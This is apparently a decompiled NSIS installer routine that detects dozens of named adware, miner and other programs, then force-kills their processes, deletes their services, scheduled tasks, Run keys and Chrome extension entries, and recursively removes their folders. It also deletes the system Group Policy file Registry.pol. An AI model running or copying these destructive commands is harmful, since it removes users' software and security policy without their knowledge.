; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Confax.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Confax.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Kincore.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Kincore.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Quoteex
RMDir /r /REBOOTOK $APPDATA\Quoteex
label_2631:
IfFileExists $DESKTOP\NetSpeed.exe.lnk 0 label_2633
Delete $DESKTOP\NetSpeed.exe.lnk
label_2633:
IfFileExists "$DESKTOP\Gîîglå Ñhrîmå.lnk" 0 label_2635
Delete "$DESKTOP\Gîîglå Ñhrîmå.lnk"
label_2635:
IfFileExists "$DESKTOP\Maxthon Cloud Browser.lnk" 0 label_2637
Delete "$DESKTOP\Maxthon Cloud Browser.lnk"
label_2637:
IfFileExists $APPDATA\Torrent_Search_PED 0 label_2658
nsExec::ExecToStack "schtasks /delete /tn $\"PED_Torrent_Search$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PED_Torrent_Search$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\Torrent_Search_PED
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_2651
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_2651:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_2658
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_2658:
IfFileExists $APPDATA\Utatity\Utatity.exe 0 label_2666
nsExec::Exec "cmd /k taskkill /IM Utatity.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Utatity.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Utatity
RMDir /r /REBOOTOK $APPDATA\Utatity
label_2666:
IfFileExists "$APPDATA\Logic Handler\set.exe" 0 label_2674
nsExec::Exec "cmd /k taskkill /IM set.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM set.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\backlh
RMDir /r /REBOOTOK "$APPDATA\Logic Handler"
label_2674:
IfFileExists $APPDATA\ApppazmaL\ApppazmaL.exe 0 label_2682
nsExec::Exec "cmd /k taskkill /IM ApppazmaL.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ApppazmaL.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ApppazmaL
RMDir /r /REBOOTOK $APPDATA\ApppazmaL
label_2682:
IfFileExists $APPDATA\MoshouInput 0 label_2684
RMDir /r /REBOOTOK $APPDATA\MoshouInput
label_2684:
IfFileExists $APPDATA\conhost.exe 0 label_2692
nsExec::Exec "cmd /k taskkill /IM conhost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM conhost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run "conhost.exe -start"
Delete /REBOOTOK $APPDATA\conhost.exe
label_2692:
IfFileExists $APPDATA\MoshouInput\Doubleing.exe 0 label_2705
nsExec::Exec "cmd /k taskkill /IM Doubleing.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Doubleing.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Rankdax.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Rankdax.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Doubleing
RMDir /r /REBOOTOK $APPDATA\Doubleing
label_2705:
IfFileExists $DESKTOP\MoneyBot.lnk 0 label_2707
Delete $DESKTOP\MoneyBot.lnk
label_2707:
IfFileExists "$DESKTOP\Advanced PC Care.lnk" 0 label_2709
Delete "$DESKTOP\Advanced PC Care.lnk"
label_2709:
IfFileExists $APPDATA\Lamzap\Lamzap.exe 0 label_2727
nsExec::Exec "cmd /k taskkill /IM Lamzap.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Lamzap.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM AirKeyhold.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AirKeyhold.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Mathis.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Mathis.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Lamzap
RMDir /r /REBOOTOK $APPDATA\Lamzap
label_2727:
IfFileExists $APPDATA\CloudPrinter\CloudPrinter.exe 0 label_2735
nsExec::Exec "cmd /k taskkill /IM CloudPrinter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CloudPrinter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\CloudPrinter
RMDir /r /REBOOTOK $APPDATA\CloudPrinter
label_2735:
IfFileExists "$DESKTOP\Èãðàòü! GameXP.lnk" 0 label_2737
Delete "$DESKTOP\Èãðàòü! GameXP.lnk"
label_2737:
IfFileExists $APPDATA\InstallChecker\InstallChecker.exe 0 label_2749
nsExec::Exec "cmd /k taskkill /IM InstallChecker.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM InstallChecker.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"InstallChecker$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"InstallChecker$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\InstallChecker
label_2749:
IfFileExists $APPDATA\fastboot.exe 0 label_2757
nsExec::Exec "cmd /k taskkill /IM fastboot.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM fastboot.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run fastboot
Delete /REBOOTOK $APPDATA\fastboot.exe
label_2757:
IfFileExists $APPDATA\apptj.exe 0 label_2769
nsExec::Exec "cmd /k taskkill /IM apptj.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM apptj.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"app$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"app$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $APPDATA\apptj.exe
label_2769:
IfFileExists $APPDATA\adb.exe 0 label_2781
nsExec::Exec "cmd /k taskkill /IM adb.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM adb.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"adb$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"adb$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $APPDATA\adb.exe
label_2781:
IfFileExists $APPDATA\RenewalService\Service.exe 0 label_2789
nsExec::Exec "cmd /k taskkill /IM Service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\RenewalService
RMDir /r /REBOOTOK $APPDATA\RenewalService
label_2789:
IfFileExists $DESKTOP\ttwifi.lnk 0 label_2791
Delete $DESKTOP\ttwifi.lnk
label_2791:
FunctionEnd
Function func_2792
SetShellVarContext current
ClearErrors
ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\ggbugreport ImagePath
IfErrors label_2808
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_2808
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ggbugreport
RMDir /r /REBOOTOK $2
label_2808:
IfFileExists $PROGRAMFILES\RelevantKnowledge\rlservice.exe 0 label_2816
nsExec::Exec "cmd /k taskkill /IM rlservice.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM rlservice.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\RelevantKnowledge
RMDir /r /REBOOTOK $PROGRAMFILES\RelevantKnowledge
label_2816:
IfFileExists "$PROGRAMFILES\Checked List\CheckedListUninstall.exe" 0 label_2830
nsExec::Exec "cmd /k taskkill /IM updateCheckedList.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updateCheckedList.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM utilCheckedList.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilCheckedList.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Checked List"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Checked List"
RMDir /r /REBOOTOK "$PROGRAMFILES\Checked List"
label_2830:
IfFileExists $PROGRAMFILES\Winsere\Winsere\Winsere.exe 0 label_2838
nsExec::Exec "cmd /k taskkill /IM Winsere.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Winsere.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Winsere
RMDir /r /REBOOTOK $PROGRAMFILES\Winsere
label_2838:
IfFileExists $PROGRAMFILES\onlysearch\onlysearch 0 label_2855
nsExec::Exec "cmd /k taskkill /IM onlysetup.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM onlysetup.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Only-search$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Only-search$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Only-search Updater$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Only-search Updater$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\onlysearch
label_2855:
IfFileExists $PROGRAMFILES\WinTaske\WinTaske\WinTaske.exe 0 label_2867
nsExec::Exec "cmd /k taskkill /IM WinTaske.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WinTaske.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"WinTaske$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"WinTaske$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\WinTaske
label_2867:
IfFileExists $LOCALAPPDATA\Birds\birds365.exe 0 label_2880
nsExec::Exec "cmd /k taskkill /IM birds365.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM birds365.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ChatteringLory.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ChatteringLory.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Birds
RMDir /r /REBOOTOK $LOCALAPPDATA\Birds
label_2880:
IfFileExists $LOCALAPPDATA\Birds365 0 label_2882
RMDir /r /REBOOTOK $LOCALAPPDATA\Birds365
label_2882:
IfFileExists $APPDATA\cpuminer\cpm.exe 0 label_2890
nsExec::Exec "cmd /k taskkill /IM cpm.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM cpm.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run cpuminer
RMDir /r /REBOOTOK $APPDATA\cpuminer
label_2890:
IfFileExists $APPDATA\OpenKP\OpenKP.exe 0 label_2902
nsExec::Exec "cmd /k taskkill /IM OpenKP.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM OpenKP.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"OpenKP$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"OpenKP$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\OpenKP
label_2902:
IfFileExists $PROGRAMFILES\HomePageDefender\HpDefSrv.exe 0 label_2915
nsExec::Exec "cmd /k taskkill /IM HpDefSrv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM HpDefSrv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Stuff.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Stuff.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HomePageDefender Service"
RMDir /r /REBOOTOK $PROGRAMFILES\HomePageDefender
label_2915:
IfFileExists $LOCALAPPDATA\HourNews\launcher.exe 0 label_2928
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run HourNews
RMDir /r /REBOOTOK $LOCALAPPDATA\HourNews
label_2928:
IfFileExists $PROGRAMFILES\osTip 0 label_2931
DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem
RMDir /r /REBOOTOK $PROGRAMFILES\osTip
label_2931:
IfFileExists $PROGRAMFILES\Yeaplayer 0 label_2944
nsExec::Exec "cmd /k taskkill /IM Yeaplayermd.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Yeaplayermd.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM UpdatePlugins.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UpdatePlugins.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yeaplayer
RMDir /r /REBOOTOK $PROGRAMFILES\Yeaplayer
label_2944:
IfFileExists $LOCALAPPDATA\Yeaplayer 0 label_2946
RMDir /r /REBOOTOK $LOCALAPPDATA\Yeaplayer
label_2946:
IfFileExists $PROGRAMFILES\HDef 0 label_2949
DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem
RMDir /r /REBOOTOK $PROGRAMFILES\HDef
label_2949:
IfFileExists $APPDATA\CentralPicture\CentralPicture.exe 0 label_2961
nsExec::Exec "cmd /k taskkill /IM CentralPicture.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CentralPicture.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"CentralPicture$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"CentralPicture$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\CentralPicture
label_2961:
IfFileExists $PROGRAMFILES\MobilePCStarterKit 0 label_2963
RMDir /r /REBOOTOK $PROGRAMFILES\MobilePCStarterKit
label_2963:
IfFileExists $LOCALAPPDATA\mpck_en_* 0 label_2972
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\mpck_en_*
label_2966:
StrCmp $R1 "" label_2971
IfFileExists $LOCALAPPDATA\$R1 0 label_2969
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
label_2969:
FindNext $0 $R1
Goto label_2966
label_2971:
FindClose $0
label_2972:
IfFileExists $PROGRAMFILES\SunnyDayApps 0 label_2974
RMDir /r /REBOOTOK $PROGRAMFILES\SunnyDayApps
label_2974:
IfFileExists $PROGRAMFILES\win_en_* 0 label_2989
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\win_en_*
label_2977:
StrCmp $R1 "" label_2988
IfFileExists $PROGRAMFILES\$R1 0 label_2986
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R1
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_2986:
FindNext $0 $R1
Goto label_2977
label_2988:
FindClose $0
label_2989:
IfFileExists $DOCUMENTS\systemfile.exe 0 label_2997
nsExec::Exec "cmd /k taskkill /IM systemfile.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM systemfile.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run SystemClose
Delete /REBOOTOK $DOCUMENTS\systemfile.exe
label_2997:
IfFileExists $PROGRAMFILES\SunnyDay* 0 label_3016
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\SunnyDay*
label_3000:
StrCmp $R1 "" label_3015
IfFileExists $PROGRAMFILES\$R1 0 label_3013
nsExec::Exec "cmd /k taskkill /IM SunnyDay.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SunnyDay.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM wizzupdater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM wizzupdater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_3013:
FindNext $0 $R1
Goto label_3000
label_3015:
FindClose $0
label_3016:
IfFileExists $LOCALAPPDATA\SunnyDay* 0 label_3031
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\SunnyDay*
label_3019:
StrCmp $R1 "" label_3030
IfFileExists $LOCALAPPDATA\$R1 0 label_3028
nsExec::Exec "cmd /k taskkill /IM usun.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM usun.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce usun.exe
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
label_3028:
FindNext $0 $R1
Goto label_3019
label_3030:
FindClose $0
label_3031:
IfFileExists $PROGRAMFILES\SFK\SSFK.exe 0 label_3039
nsExec::Exec "cmd /k taskkill /IM SSFK.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SSFK.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SSFK
RMDir /r /REBOOTOK $PROGRAMFILES\SFK
label_3039:
ClearErrors
ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\WdMan ImagePath
IfErrors label_3054
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_3054
DeleteRegKey HKLM SYSTEM\ControlSet001\services\WdMan
RMDir /r /REBOOTOK $2
label_3054:
IfFileExists $LOCALAPPDATA\ipro\ipro.exe 0 label_3066
nsExec::Exec "cmd /k taskkill /IM ipro.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ipro.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ipro$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ipro$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\ipro
label_3066:
StrCpy $0 ""
IfFileExists "$DESKTOP\Yeab$0eats Browser.lnk" 0 label_3069
Delete "$DESKTOP\Yeab$0eats Browser.lnk"
label_3069:
StrCpy $0 ""
IfFileExists "$DESKTOP\Yeab$0eats Browser.lnk" 0 label_3072
Delete "$DESKTOP\Yeab$0eats Browser.lnk"
label_3072:
IfFileExists $DESKTOP\AutoTime.LNK 0 label_3074
Delete $DESKTOP\AutoTime.LNK
label_3074:
IfFileExists "$APPDATA\User Pinned\TaskBar\Yeabeats Browser.lnk" 0 label_3076
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Yeabeats Browser.lnk"
label_3076:
IfFileExists "$APPDATA\Yeabeats Browser.lnk" 0 label_3078
Delete /REBOOTOK "$APPDATA\Yeabeats Browser.lnk"
label_3078:
IfFileExists "$APPDATA\User Pinned\TaskBar\Advanced SystemCare 8.lnk" 0 label_3080
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Advanced SystemCare 8.lnk"
label_3080:
IfFileExists "$APPDATA\Advanced SystemCare 8.lnk" 0 label_3082
Delete /REBOOTOK "$APPDATA\Advanced SystemCare 8.lnk"
label_3082:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jidkebcigjgheaahopdnlfaohgnocfai $0
IfErrors label_3086
DeleteRegKey HKLM Software\Google\Chrome\Extensions\jidkebcigjgheaahopdnlfaohgnocfai
label_3086:
IfFileExists "$APPDATA\VK OK AdBlock" 0 label_3088
RMDir /r /REBOOTOK "$APPDATA\VK OK AdBlock"
label_3088:
IfFileExists $APPDATA\GreenDinlight.exe 0 label_3100
nsExec::Exec "cmd /k taskkill /IM GreenDinlight.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM GreenDinlight.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"GreenDinlight$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"GreenDinlight$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete $APPDATA\GreenDinlight.exe
label_3100:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen $0
IfErrors label_3104
DeleteRegKey HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen
label_3104:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk $0
IfErrors label_3108
DeleteRegKey HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk
label_3108:
IfFileExists $LOCALAPPDATA\SHAREit 0 label_3110
RMDir /r /REBOOTOK $LOCALAPPDATA\SHAREit
label_3110:
IfFileExists $PROGRAMFILES\SHAREit 0 label_3118
nsExec::Exec "cmd /k taskkill /IM Shareit.Service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Shareit.Service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ShareItSvc
RMDir /r /REBOOTOK $PROGRAMFILES\SHAREit
label_3118:
IfFileExists $DESKTOP\Vkontakte.lnk 0 label_3120
Delete $DESKTOP\Vkontakte.lnk
label_3120:
IfFileExists $APPDATA\FastVKOpen 0 label_3132
nsExec::Exec "cmd /k taskkill /IM FastVKOpen.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FastVKOpen.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"FastVKOpen$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"FastVKOpen$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\FastVKOpen
label_3132:
IfFileExists $LOCALAPPDATA\AuthoritiesThreefold 0 label_3134
RMDir /r /REBOOTOK $LOCALAPPDATA\AuthoritiesThreefold
label_3134:
